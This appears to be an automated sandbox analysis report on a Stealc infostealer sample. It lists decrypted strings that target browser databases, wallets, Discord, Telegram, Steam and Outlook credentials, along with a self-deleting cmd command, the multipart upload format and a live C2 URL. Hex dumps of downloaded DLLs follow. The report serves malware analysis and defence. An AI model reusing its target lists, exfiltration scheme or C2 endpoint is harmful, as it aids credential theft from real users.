Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: open
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: files
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: done
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: https
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: build
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: token
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: file
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: message
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C5B6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50022 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.5:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50073 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2664657293.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2116035375.0000000004C6B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2664657293.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2116035375.0000000004C6B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 22:11:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 22:11:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 22:11:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 